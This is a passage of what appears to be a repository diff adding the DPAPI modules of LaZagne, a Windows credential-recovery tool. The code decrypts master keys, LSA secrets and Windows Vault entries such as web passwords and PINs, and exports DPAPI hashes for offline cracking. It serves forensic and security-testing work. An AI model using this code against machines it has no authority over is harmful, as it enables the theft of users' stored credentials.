des_key.append(((char_to_int(block_key[0]) & 0x01) << 6) | (char_to_int(block_key[1]) >> 2))
des_key.append(((char_to_int(block_key[1]) & 0x03) << 5) | (char_to_int(block_key[2]) >> 3))
des_key.append(((char_to_int(block_key[2]) & 0x07) << 4) | (char_to_int(block_key[3]) >> 4))
des_key.append(((char_to_int(block_key[3]) & 0x0F) << 3) | (char_to_int(block_key[4]) >> 5))
des_key.append(((char_to_int(block_key[4]) & 0x1F) << 2) | (char_to_int(block_key[5]) >> 6))
des_key.append(((char_to_int(block_key[5]) & 0x3F) << 1) | (char_to_int(block_key[6]) >> 7))
des_key.append(char_to_int(block_key[6]) & 0x7F)
des_key = algo.do_fixup_key("".join([chr(x << 1) for x in des_key]))
decrypted_data += des(des_key, ECB).decrypt(enc_block)
j += 7
if len(key[j:j + 7]) < 7:
j = len(key[j:j + 7])
dec_data_len = struct.unpack("<L", decrypted_data[:4])[0]
return decrypted_data[8:8 + dec_data_len]
def decrypt_lsa_secret(secret, lsa_keys):
"""
This function replaces SystemFunction005 for newer Windows
"""
keyid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", secret[4:20])
if keyid not in lsa_keys:
return None
algo = struct.unpack("<L", secret[20:24])[0]
dg = hashlib.sha256()
dg.update(lsa_keys[keyid]["key"])
for i in xrange(1000):
dg.update(secret[28:60])
c = AESModeOfOperationECB(dg.digest())
clear = b"".join([c.encrypt(secret[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(secret[60:]), AES_BLOCK_SIZE)])
size = struct.unpack_from("<L", clear)[0]
return clear[16:16 + size]
def pbkdf2(passphrase, salt, keylen, iterations, digest='sha1'):
"""
Implementation of PBKDF2 that allows specifying digest algorithm.
Returns the corresponding expanded key which is keylen long.
"""
buff = b""
i = 1
while len(buff) < keylen:
U = salt + struct.pack("!L", i)
i += 1
derived = hmac.new(passphrase, U, digestmod=lambda: hashlib.new(digest)).digest()
for r in xrange(iterations - 1):
actual = hmac.new(passphrase, derived, digestmod=lambda: hashlib.new(digest)).digest()
tmp = b''
for x, y in zip(derived, actual):
if sys.version_info > (3, 0):
tmp += struct.pack(">B", x ^ y)
else:
tmp += chr(char_to_int(x) ^ char_to_int(y))
derived = tmp
buff += derived
return buff[:int(keylen)]
def derivePwdHash(pwdhash, sid, digest='sha1'):
"""
Internal use. Computes the encryption key from a user's password hash
"""
return hmac.new(pwdhash, (sid + "\0").encode("UTF-16LE"), digestmod=lambda: hashlib.new(digest)).digest()
def dataDecrypt(cipherAlgo, hashAlgo, raw, encKey, iv, rounds):
"""
Internal use. Decrypts data stored in DPAPI structures.
"""
hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name)
derived = pbkdf2(encKey, iv, cipherAlgo.keyLength + cipherAlgo.ivLength, rounds, hname)
key, iv = derived[:int(cipherAlgo.keyLength)], derived[int(cipherAlgo.keyLength):]
key = key[:int(cipherAlgo.keyLength)]
iv = iv[:int(cipherAlgo.ivLength)]
if "AES" in cipherAlgo.name:
cipher = AESModeOfOperationCBC(key, iv=iv)
cleartxt = b"".join([cipher.decrypt(raw[i:i + AES_BLOCK_SIZE]) for i in range(0, len(raw), AES_BLOCK_SIZE)])
else:
cipher = cipherAlgo.module(key, CBC, iv)
cleartxt = cipher.decrypt(raw)
return cleartxt
def DPAPIHmac(hashAlgo, pwdhash, hmacSalt, value):
"""
Internal function used to compute HMACs of DPAPI structures
"""
hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name)
encKey = hmac.new(pwdhash, digestmod=lambda: hashlib.new(hname))
encKey.update(hmacSalt)
encKey = encKey.digest()
rv = hmac.new(encKey, digestmod=lambda: hashlib.new(hname))
rv.update(value)
return rv.digest()

View File

@ -0,0 +1,128 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#############################################################################
## ##
## This file is part of DPAPIck ##
## Windows DPAPI decryption & forensic toolkit ##
## ##
## ##
## Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ##
## This document is the property of Cassidian SAS, it may not be copied or ##
## circulated without prior licence ##
## ##
## Author: Jean-Michel Picod <jmichel.p@gmail.com> ##
## ##
## This program is distributed under GPLv3 licence (see LICENCE.txt) ##
## ##
#############################################################################
import struct
class Eater(object):
"""This class is a helper for parsing binary structures."""
def __init__(self, raw, offset=0, end=None, endianness="<"):
self.raw = raw
self.ofs = offset
if end is None:
end = len(raw)
self.end = end
self.endianness = endianness
def prepare_fmt(self, fmt):
"""Internal use. Prepend endianness to the given format if it is not
already specified.
fmt is a format string for struct.unpack()
Returns a tuple of the format string and the corresponding data size.
"""
if fmt[0] not in ["<", ">", "!", "@"]:
fmt = self.endianness+fmt
return fmt, struct.calcsize(fmt)
def read(self, fmt):
"""Parses data with the given format string without taking away bytes.
Returns an array of elements or just one element depending on fmt.
"""
fmt, sz = self.prepare_fmt(fmt)
v = struct.unpack_from(fmt, self.raw, self.ofs)
if len(v) == 1:
v = v[0]
return v
def eat(self, fmt):
"""Parses data with the given format string.
Returns an array of elements or just one element depending on fmt.
"""
fmt, sz = self.prepare_fmt(fmt)
v = struct.unpack_from(fmt, self.raw, self.ofs)
if len(v) == 1:
v = v[0]
self.ofs += sz
return v
def eat_string(self, length):
"""Eats and returns a string of length characters"""
return self.eat("%us" % length)
def eat_length_and_string(self, fmt):
"""Eats and returns a string which length is obtained after eating
an integer represented by fmt
"""
l = self.eat(fmt)
return self.eat_string(l)
def pop(self, fmt):
"""Eats a structure represented by fmt from the end of raw data"""
fmt, sz = self.prepare_fmt(fmt)
self.end -= sz
v = struct.unpack_from(fmt, self.raw, self.end)
if len(v) == 1:
v = v[0]
return v
def pop_string(self, length):
"""Pops and returns a string of length characters"""
return self.pop("%us" % length)
def pop_length_and_string(self, fmt):
"""Pops and returns a string which length is obtained after poping an
integer represented by fmt.
"""
l = self.pop(fmt)
return self.pop_string(l)
def remain(self):
"""Returns all the bytes that have not been eated nor poped yet."""
return self.raw[self.ofs:self.end]
def eat_sub(self, length):
"""Eats a sub-structure that is contained in the next length bytes"""
sub = self.__class__(self.raw[self.ofs:self.ofs+length], endianness=self.endianness)
self.ofs += length
return sub
def __nonzero__(self):
return self.ofs < self.end
class DataStruct(object):
"""Don't use this class unless you know what you are doing!"""
def __init__(self, raw=None):
if raw is not None:
self.parse(Eater(raw, endianness="<"))
def parse(self, eater_obj):
raise NotImplementedError("This function must be implemented in subclasses")

View File

@ -0,0 +1,460 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Code based from these two awesome projects:
- DPAPICK : https://bitbucket.org/jmichel/dpapick
- DPAPILAB : https://github.com/dfirfpi/dpapilab
"""
from . import crypto
from .credhist import CredHistFile
from .system import CredSystem
from .eater import DataStruct, Eater
from collections import defaultdict
import codecs
import hashlib
import struct
import os
from lazagne.config.constant import constant
class MasterKey(DataStruct):
"""
This class represents a MasterKey block contained in a MasterKeyFile
"""
def __init__(self, raw=None):
self.decrypted = False
self.key = None
self.key_hash = None
self.hmacSalt = None
self.hmac = None
self.hmacComputed = None
self.cipherAlgo = None
self.hashAlgo = None
self.rounds = None
self.iv = None
self.version = None
self.ciphertext = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.version = data.eat("L")
self.iv = data.eat("16s")
self.rounds = data.eat("L")
self.hashAlgo = crypto.CryptoAlgo(data.eat("L"))
self.cipherAlgo = crypto.CryptoAlgo(data.eat("L"))
self.ciphertext = data.remain()
def decrypt_with_hash(self, sid, pwdhash):
"""
Decrypts the masterkey with the given user's hash and SID.
Simply computes the corresponding key then calls self.decrypt_with_key()
"""
self.decrypt_with_key(crypto.derivePwdHash(pwdhash=pwdhash, sid=sid))
def decrypt_with_password(self, sid, pwd):
"""
Decrypts the masterkey with the given user's password and SID.
Simply computes the corresponding key, then calls self.decrypt_with_hash()
"""
try:
pwd = pwd.encode("UTF-16LE")
except Exception:
return
for algo in ["sha1", "md4"]:
self.decrypt_with_hash(sid=sid, pwdhash=hashlib.new(algo, pwd).digest())
if self.decrypted:
break
def decrypt_with_key(self, pwdhash):
"""
Decrypts the masterkey with the given encryption key.
This function also extracts the HMAC part of the decrypted stuff and compare it with the computed one.
Note that, once successfully decrypted, the masterkey will not be decrypted anymore; this function will simply return.
"""
if self.decrypted or not pwdhash:
return
# Compute encryption key
cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.ciphertext, pwdhash, self.iv,
self.rounds)
self.key = cleartxt[-64:]
hmacSalt = cleartxt[:16]
hmac = cleartxt[16:16 + int(self.hashAlgo.digestLength)]
hmacComputed = crypto.DPAPIHmac(self.hashAlgo, pwdhash, hmacSalt, self.key)
self.decrypted = hmac == hmacComputed
if self.decrypted:
self.key_hash = hashlib.sha1(self.key).digest()
class CredHist(DataStruct):
"""This class represents a Credhist block contained in the MasterKeyFile"""
def __init__(self, raw=None):
self.version = None
self.guid = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.version = data.eat("L")
self.guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
class DomainKey(DataStruct):
"""This class represents a DomainKey block contained in the MasterKeyFile.
Currently does nothing more than parsing. Work on Active Directory stuff is
still on progress.
"""
def __init__(self, raw=None):
self.version = None
self.secretLen = None
self.accesscheckLen = None
self.guidKey = None
self.encryptedSecret = None
self.accessCheck = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.version = data.eat("L")
self.secretLen = data.eat("L")
self.accesscheckLen = data.eat("L")
self.guidKey = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
self.encryptedSecret = data.eat("%us" % self.secretLen)
self.accessCheck = data.eat("%us" % self.accesscheckLen)
class MasterKeyFile(DataStruct):
"""
This class represents a masterkey file.
"""
def __init__(self, raw=None):
self.masterkey = None
self.backupkey = None
self.credhist = None
self.domainkey = None
self.decrypted = False
self.version = None
self.guid = None
self.policy = None
self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0
DataStruct.__init__(self, raw)
def parse(self, data):
self.version = data.eat("L")
data.eat("2L")
self.guid = data.eat("72s").replace(b"\x00", b"")
data.eat("2L")
self.policy = data.eat("L")
self.masterkeyLen = data.eat("Q")
self.backupkeyLen = data.eat("Q")
self.credhistLen = data.eat("Q")
self.domainkeyLen = data.eat("Q")
if self.masterkeyLen > 0:
self.masterkey = MasterKey()
self.masterkey.parse(data.eat_sub(self.masterkeyLen))
if self.backupkeyLen > 0:
self.backupkey = MasterKey()
self.backupkey.parse(data.eat_sub(self.backupkeyLen))
if self.credhistLen > 0:
self.credhist = CredHist()
self.credhist.parse(data.eat_sub(self.credhistLen))
if self.domainkeyLen > 0:
self.domainkey = DomainKey()
self.domainkey.parse(data.eat_sub(self.domainkeyLen))
def get_key(self):
"""
Returns the first decrypted block between Masterkey and BackupKey.
If none has been decrypted, returns the Masterkey block.
"""
if self.masterkey.decrypted:
return self.masterkey.key or self.masterkey.key_hash
elif self.backupkey.decrypted:
return self.backupkey.key
return self.masterkey.key
def jhash(self, sid=None, context='local'):
"""
Compute the hash used to be bruteforced.
From the masterkey field of the mk file => mk variable.
"""
if 'des3' in str(self.masterkey.cipherAlgo).lower() and 'hmac' in str(self.masterkey.hashAlgo).lower():
version = 1
hmac_algo = 'sha1'
cipher_algo = 'des3'
elif 'aes-256' in str(self.masterkey.cipherAlgo).lower() and 'sha512' in str(self.masterkey.hashAlgo).lower():
version = 2
hmac_algo = 'sha512'
cipher_algo = 'aes256'
else:
return 'Unsupported combination of cipher {cipher_algo} and hash algorithm {algo} found!'.format(
cipher_algo=self.masterkey.cipherAlgo, algo=self.masterkey.hashAlgo)
context_int = 0
if context == "domain":
context_int = 2
elif context == "local":
context_int = 1
return '$DPAPImk${version}*{context}*{sid}*{cipher_algo}*{hmac_algo}*{rounds}*{iv}*{size}*{ciphertext}'.format(
version=version,
context=context_int,
sid=sid,
cipher_algo=cipher_algo,
hmac_algo=hmac_algo,
rounds=self.masterkey.rounds,
iv=self.masterkey.iv.encode("hex"),
size=len(self.masterkey.ciphertext.encode("hex")),
ciphertext=self.masterkey.ciphertext.encode("hex")
)
class MasterKeyPool(object):
"""
This class is the pivot for using DPAPIck.
It manages all the DPAPI structures and contains all the decryption intelligence.
"""
def __init__(self):
self.keys = defaultdict(
lambda: {
'password': None, # contains cleartext password
'mkf': [], # contains the masterkey file object
}
)
self.mkfiles = []
self.credhists = {}
self.mk_dir = None
self.nb_mkf = 0
self.nb_mkf_decrypted = 0
self.preferred_guid = None
self.system = None
def add_master_key(self, mkey):
"""
Add a MasterKeyFile is the pool.
mkey is a string representing the content of the file to add.
"""
mkf = MasterKeyFile(mkey)
self.keys[mkf.guid]['mkf'].append(mkf)
# Store mkfile object
self.mkfiles.append(mkf) # TO DO000000 => use only self.keys variable
def load_directory(self, directory):
"""
Adds every masterkey contained in the given directory to the pool.
"""
if os.path.exists(directory):
self.mk_dir = directory
for k in os.listdir(directory):
try:
with open(os.path.join(directory, k), 'rb') as f:
self.add_master_key(f.read())
self.nb_mkf += 1
except Exception:
pass
return True
return False
def get_master_keys(self, guid):
"""
Returns an array of Masterkeys corresponding to the given GUID.
"""
return self.keys.get(guid, {}).get('mkf')
def get_password(self, guid):
"""
Returns the password found corresponding to the given GUID.
"""
return self.keys.get(guid, {}).get('password')
def add_credhist_file(self, sid, credfile):
"""
Adds a Credhist file to the pool.
"""
if os.path.exists(credfile):
try:
with open(credfile) as f:
self.credhists[sid] = CredHistFile(f.read())
except Exception:
pass
def get_preferred_guid(self):
"""
Extract from the Preferred file the associated GUID.
This guid represent the preferred masterkey used by the system.
This means that it has been encrypted using the current password not an older one.
"""
if self.preferred_guid:
return self.preferred_guid
if self.mk_dir:
preferred_file = os.path.join(self.mk_dir, u'Preferred')
if os.path.exists(preferred_file):
with open(preferred_file, 'rb') as pfile:
GUID1 = pfile.read(8)
GUID2 = pfile.read(8)
GUID = struct.unpack("<LHH", GUID1)
GUID2 = struct.unpack(">HLH", GUID2)
self.preferred_guid = b"%s-%s-%s-%s-%s%s" % (
format(GUID[0], '08x'), format(GUID[1], '04x'), format(GUID[2], '04x'), format(GUID2[0], '04x'),
format(GUID2[1], '08x'), format(GUID2[2], '04x'))
return self.preferred_guid.encode()
return False
def get_cleartext_password(self, guid=None):
"""
Get cleartext password if already found of the associated guid.
If not guid specify, return the associated password of the preferred guid.
"""
if not guid:
guid = self.get_preferred_guid()
if guid:
return self.get_password(guid)
def get_dpapi_hash(self, sid, context='local'):
"""
Extract the DPAPI hash corresponding to the user's password to be able to bruteforce it using john or hashcat.
No admin privilege are required to extract it.
:param context: expect local or domain depending of the windows environment.
"""
self.get_preferred_guid()
for mkf in self.mkfiles:
if self.preferred_guid == mkf.guid:
return mkf.jhash(sid=sid, context=context)
def add_system_credential(self, blob):
"""
Adds DPAPI_SYSTEM token to the pool.
blob is a string representing the LSA secret token
"""
self.system = CredSystem(blob)
def try_credential(self, sid, password=None):
"""
This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID.
Should be called as a generator (ex: for r in try_credential(sid, password))
"""
# Check into cache to gain time (avoid checking twice the same thing)
if constant.dpapi_cache.get(sid):
if constant.dpapi_cache[sid]['password'] == password:
if constant.dpapi_cache[sid]['decrypted']:
return True, ''
else:
return False, ''
# All master key files have not been already decrypted
if self.nb_mkf_decrypted != self.nb_mkf:
for guid in self.keys:
for mkf in self.keys[guid].get('mkf', ''):
if not mkf.decrypted:
mk = mkf.masterkey
if mk:
mk.decrypt_with_password(sid, password)
if not mk.decrypted and self.credhists.get(sid) is not None:
# Try using credhist file
self.credhists[sid].decrypt_with_password(password)
for credhist in self.credhists[sid].entries_list:
mk.decrypt_with_hash(sid, credhist.pwdhash)
if credhist.ntlm is not None and not mk.decrypted:
mk.decrypt_with_hash(sid, credhist.ntlm)
if mk.decrypted:
yield u'masterkey {masterkey} decrypted using credhists key'.format(
masterkey=mk.guid.decode())
self.credhists[sid].valid = True
constant.dpapi_cache[sid] = {
'password': password,
'decrypted': mk.decrypted
}
if mk.decrypted:
# Save the password found
self.keys[mkf.guid]['password'] = password
mkf.decrypted = True
self.nb_mkf_decrypted += 1
yield True, u'{password} ok for masterkey {masterkey}'.format(password=password,
masterkey=mkf.guid.decode())
else:
yield False, u'{password} not ok for masterkey {masterkey}'.format(password=password,
masterkey=mkf.guid.decode())
def try_credential_hash(self, sid, pwdhash=None):
"""
This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID.
Should be called as a generator (ex: for r in try_credential_hash(sid, pwdhash))
"""
# All master key files have not been already decrypted
if self.nb_mkf_decrypted != self.nb_mkf:
for guid in self.keys:
for mkf in self.keys[guid].get('mkf', ''):
if not mkf.decrypted:
mk = mkf.masterkey
mk.decrypt_with_hash(sid, pwdhash)
if not mk.decrypted and self.credhists.get(sid) is not None:
# Try using credhist file
self.credhists[sid].decrypt_with_hash(pwdhash)
for credhist in self.credhists[sid].entries_list:
mk.decrypt_with_hash(sid, credhist.pwdhash)
if credhist.ntlm is not None and not mk.decrypted:
mk.decrypt_with_hash(sid, credhist.ntlm)
if mk.decrypted:
yield True, u'masterkey {masterkey} decrypted using credhists key'.format(
masterkey=mk.guid)
self.credhists[sid].valid = True
break
if mk.decrypted:
mkf.decrypted = True
self.nb_mkf_decrypted += 1
yield True, u'{hash} ok for masterkey {masterkey}'.format(hash=codecs.encode(pwdhash, 'hex').decode(),
masterkey=mkf.guid.decode())
else:
yield False, u'{hash} not ok for masterkey {masterkey}'.format(
hash=codecs.encode(pwdhash, 'hex').decode(), masterkey=mkf.guid.decode())
def try_system_credential(self):
"""
Decrypt masterkey files from the system user using DPAPI_SYSTEM creds as key
Should be called as a generator (ex: for r in try_system_credential())
"""
for guid in self.keys:
for mkf in self.keys[guid].get('mkf', ''):
if not mkf.decrypted:
mk = mkf.masterkey
mk.decrypt_with_key(self.system.user)
if not mk.decrypted:
mk.decrypt_with_key(self.system.machine)
if mk.decrypted:
mkf.decrypted = True
self.nb_mkf_decrypted += 1
yield True, u'System masterkey decrypted for {masterkey}'.format(masterkey=mkf.guid.decode())
else:
yield False, u'System masterkey not decrypted for masterkey {masterkey}'.format(
masterkey=mkf.guid.decode())

View File

@ -0,0 +1,38 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Code based from these two awesome projects:
- DPAPICK : https://bitbucket.org/jmichel/dpapick
- DPAPILAB : https://github.com/dfirfpi/dpapilab
"""
from .eater import DataStruct
class CredSystem(DataStruct):
"""
This represents the DPAPI_SYSTEM token which is stored as an LSA secret.
Sets 2 properties:
self.machine
self.user
"""
def __init__(self, raw=None):
self.revision = None
self.machine = None
self.user = None
DataStruct.__init__(self, raw)
def parse(self, data):
"""Parses the given data. May raise exceptions if incorrect data are
given. You should not call this function yourself; DataStruct does
data is a DataStruct object.
Returns nothing.
"""
self.revision = data.eat("L")
self.machine = data.eat("20s")
self.user = data.eat("20s")

View File

@ -0,0 +1,491 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Code based from these two awesome projects:
- DPAPICK : https://bitbucket.org/jmichel/dpapick
- DPAPILAB : https://github.com/dfirfpi/dpapilab
"""
import codecs
import struct
from .blob import DPAPIBlob
from .eater import DataStruct, Eater
from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
from lazagne.config.winstructure import char_to_int
import os
AES_BLOCK_SIZE = 16
# ===============================================================================
# VAULT POLICY file structs
# ===============================================================================
class VaultPolicyKey(DataStruct):
"""
Structure containing the AES key used to decrypt the vcrd files
"""
def __init__(self, raw=None):
# self.size = None
self.unknown1 = None
self.unknown2 = None
self.dwMagic = None
self.dwVersion = None
self.cbKeyData = None
self.key = None
DataStruct.__init__(self, raw)
def parse(self, data):
# self.size = data.eat("L")
self.unknown1 = data.eat("L")
self.unknown2 = data.eat("L")
self.dwMagic = data.eat("L") # Constant: 0x4d42444b
self.dwVersion = data.eat("L")
self.cbKeyData = data.eat("L")
if self.cbKeyData > 0:
# self.key = data.eat_sub(self.cbKeyData)
self.key = data.eat(str(self.cbKeyData) + "s")
class VaultPolicyKeys(DataStruct):
"""
Structure containing two AES keys used to decrypt the vcrd files
- First key is an AES 128
- Second key is an AES 256
"""
def __init__(self, raw=None):
self.vpol_key1_size = None
self.vpol_key1 = None
self.vpol_key2_size = None
self.vpol_key2 = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.vpol_key1_size = data.eat("L")
if self.vpol_key1_size > 0:
self.vpol_key1 = VaultPolicyKey()
self.vpol_key1.parse(data.eat_sub(self.vpol_key1_size))
self.vpol_key2_size = data.eat("L")
if self.vpol_key2_size > 0:
self.vpol_key2 = VaultPolicyKey()
self.vpol_key2.parse(data.eat_sub(self.vpol_key2_size))
class VaultPolicy(DataStruct):
"""
Policy.vpol file is a DPAPI blob with an header containing a textual description
and a GUID that should match the Vault folder name
Once the blob is decrypted, we get two AES keys to be used in decrypting the vcrd files.
"""
def __init__(self, raw=None):
self.version = None
self.guid = None
self.description = None
self.unknown1 = None
self.unknown2 = None
self.unknown3 = None
# VPOL_STORE
self.size = None
self.unknown4 = None
self.unknown5 = None
# DPAPI_BLOB_STORE
self.blob_store_size = None
self.blob_store_raw = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.version = data.eat("L")
self.guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
self.description = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
self.unknown1 = data.eat("L")
self.unknown2 = data.eat("L")
self.unknown3 = data.eat("L")
# VPOL_STORE
self.size = data.eat("L")
self.unknown4 = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
self.unknown5 = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
# DPAPI_BLOB_STORE
self.blob_store_size = data.eat("L")
if self.blob_store_size > 0:
self.blob_store_raw = DPAPIBlob()
self.blob_store_raw.parse(data.eat_sub(self.blob_store_size))
# ===============================================================================
# VAULT file structs
# ===============================================================================
class VaultAttribute(DataStruct):
"""
This class contains the encrypted data we are looking for (data + iv)
"""
def __init__(self, raw=None):
self.id = None
self.attr_unknown_1 = None
self.attr_unknown_2 = None
self.attr_unknown_3 = None
self.padding = None
self.attr_unknown_4 = None
self.size = None
# VAULT_ATTRIBUTE_ENCRYPTED
self.has_iv = None
self.iv_size = None
self.iv = None
self.data = None
self.stream_end = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.id = data.eat("L")
self.attr_unknown_1 = data.eat("L")
self.attr_unknown_2 = data.eat("L")
self.attr_unknown_3 = data.eat("L")
# self.padding = data.eat("6s")
if self.id >= 100:
self.attr_unknown_4 = data.eat("L")
self.size = data.eat("L")
if self.size > 0:
self.has_iv = ord(data.eat("1s"))
if self.has_iv == 1:
self.iv_size = data.eat("L")
self.iv = data.eat(str(self.iv_size)+ "s")
self.data = data.eat(str(self.size - 1 - 4 - self.iv_size) + "s")
else:
self.data = data.eat(str(self.size - 1) + "s")
class VaultAttributeMapEntry(DataStruct):
"""
This class contains a pointer on VaultAttribute structure
"""
def __init__(self, raw=None):
self.id = None
self.offset = None
self.attr_map_entry_unknown_1 = None
self.pointer = None
self.extra_entry = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.id = data.eat("L")
self.offset = data.eat("L")
self.attr_map_entry_unknown_1 = data.eat("L")
class VaultVcrd(DataStruct):
"""
vcrd files contain encrypted attributes encrypted with the previous AES keys which represents the target secret
"""
def __init__(self, raw=None):
self.schema_guid = None
self.vcrd_unknown_1 = None
self.last_update = None
self.vcrd_unknown_2 = None
self.vcrd_unknown_3 = None
self.description = None
self.attributes_array_size = None
self.attributes_num = None
self.attributes = []
DataStruct.__init__(self, raw)
def parse(self, data):
self.schema_guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
self.vcrd_unknown_1 = data.eat("L")
self.last_update = data.eat("Q")
self.vcrd_unknown_2 = data.eat("L")
self.vcrd_unknown_3 = data.eat("L")
self.description = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode
self.attributes_array_size = data.eat("L")
# 12 is the size of the VAULT_ATTRIBUTE_MAP_ENTRY
self.attributes_num = self.attributes_array_size // 12
for i in range(self.attributes_num):
# 12: size of VaultAttributeMapEntry Structure
v_map_entry = VaultAttributeMapEntry(data.eat("12s"))
self.attributes.append(v_map_entry)
# ===============================================================================
# VAULT schemas
# ===============================================================================
class VaultVsch(DataStruct):
"""
Vault Schemas
Vault file partial parsing
"""
def __init__(self, raw=None):
self.version = None
self.schema_guid = None
self.vault_vsch_unknown_1 = None
self.count = None
self.schema_name = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.version = data.eat("L")
self.schema_guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
self.vault_vsch_unknown_1 = data.eat("L")
self.count = data.eat("L")
self.schema_name = data.eat_length_and_string("L").replace(b"\x00", b"")
class VaultAttributeItem(object):
def __init__(self, id_, item):
self.id = id_
self.item = codecs.encode(item, 'hex')
class VaultSchemaGeneric(DataStruct):
"""
Generic Vault Schema
"""
def __init__(self, raw=None):
self.version = None
self.count = None
self.vault_schema_generic_unknown1 = None
self.attribute_item = []
DataStruct.__init__(self, raw)
def parse(self, data):
self.version = data.eat("L")
self.count = data.eat("L")
self.vault_schema_generic_unknown1 = data.eat("L")
for i in range(self.count):
self.attribute_item.append(
VaultAttributeItem(
id_=data.eat("L"),
item=data.eat_length_and_string("L").replace(b"\x00", b"")
)
)
# Vault Simple Schema
# VAULT_SCHEMA_SIMPLE = VaultSchemaSimpleAdapter(
# Struct(
# 'data' / GreedyRange(Byte),
# )
# )
class VaultSchemaPin(DataStruct):
"""
PIN Logon Vault Resource Schema
"""
def __init__(self, raw=None):
self.version = None
self.count = None
self.vault_schema_pin_unknown1 = None
self.id_sid = None
self.sid_len = None
self.sid = None
self.id_resource = None
self.resource = None
self.id_password = None
self.password = None
self.id_pin = None
self.pin = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.version = data.eat("L")
self.count = data.eat("L")
self.vault_schema_pin_unknown1 = data.eat("L")
self.id_sid = data.eat("L")
self.sid_len = data.eat("L")
if self.sid_len > 0:
self.sid = data.eat_sub(self.sid_len)
self.id_resource = data.eat("L")
self.resource = data.eat_length_and_string("L").replace(b"\x00", b"")
self.id_password = data.eat("L")
self.authenticator = data.eat_length_and_string("L").replace(b"\x00", b"") # Password
self.id_pin = data.eat("L")
self.pin = data.eat_length_and_string("L")
class VaultSchemaWebPassword(DataStruct):
"""
Windows Web Password Credential Schema
"""
def __init__(self, raw=None):
self.version = None
self.count = None
self.vault_schema_web_password_unknown1 = None
self.id_identity = None
self.identity = None
self.id_resource = None
self.resource = None
self.id_authenticator = None
self.authenticator = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.version = data.eat("L")
self.count = data.eat("L")
self.vault_schema_web_password_unknown1 = data.eat("L")
self.id_identity = data.eat("L")
self.identity = data.eat_length_and_string("L").replace(b"\x00", b"")
self.id_resource = data.eat("L")
self.resource = data.eat_length_and_string("L").replace(b"\x00", b"")
self.id_authenticator = data.eat("L")
self.authenticator = data.eat_length_and_string("L").replace(b"\x00", b"")
class VaultSchemaActiveSync(DataStruct):
"""
Active Sync Credential Schema
"""
def __init__(self, raw=None):
self.version = None
self.count = None
self.vault_schema_activesync_unknown1 = None
self.id_identity = None
self.identity = None
self.id_resource = None
self.resource = None
self.id_authenticator = None
self.authenticator = None
DataStruct.__init__(self, raw)
def parse(self, data):
self.version = data.eat("L")
self.count = data.eat("L")
self.vault_schema_activesync_unknown1 = data.eat("L")
self.id_identity = data.eat("L")
self.identity = data.eat_length_and_string("L").replace(b"\x00", b"")
self.id_resource = data.eat("L")
self.resource = data.eat_length_and_string("L").replace(b"\x00", b"")
self.id_authenticator = data.eat("L")
self.authenticator = codecs.encode(data.eat_length_and_string("L").replace(b"\x00", b""), 'hex')
# Vault Schema Dict
vault_schemas = {
b'ActiveSyncCredentialSchema' : VaultSchemaActiveSync,
b'PIN Logon Vault Resource Schema' : VaultSchemaPin,
b'Windows Web Password Credential' : VaultSchemaWebPassword,
}
# ===============================================================================
# VAULT Main Function
# ===============================================================================
class Vault(object):
"""
Contains all process to decrypt Vault files
"""
def __init__(self, vaults_dir):
self.vaults_dir = vaults_dir
def decrypt_vault_attribute(self, vault_attr, key_aes128, key_aes256):
"""
Helper to decrypt VAULT attributes.
"""
if not vault_attr.size:
return b'', False
if vault_attr.has_iv:
cipher = AESModeOfOperationCBC(key_aes256, iv=vault_attr.iv)
is_attribute_ex = True
else:
cipher = AESModeOfOperationCBC(key_aes128)
is_attribute_ex = False
data = vault_attr.data
decypted = b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)])
return decypted, is_attribute_ex
def get_vault_schema(self, guid, base_dir, default_schema):
"""
Helper to get the Vault schema to apply on decoded data.
"""
vault_schema = default_schema
schema_file_path = os.path.join(base_dir.encode(), guid + b'.vsch')
try:
with open(schema_file_path, 'rb') as fschema:
vsch = VaultVsch(fschema.read())
vault_schema = vault_schemas.get(
vsch.schema_name,
VaultSchemaGeneric
)
except IOError:
pass
return vault_schema
def decrypt(self, mkp):
"""
Decrypt one vault file
mkp represent the masterkeypool object
Very well explained here: http://blog.digital-forensics.it/2016/01/windows-revaulting.html
"""
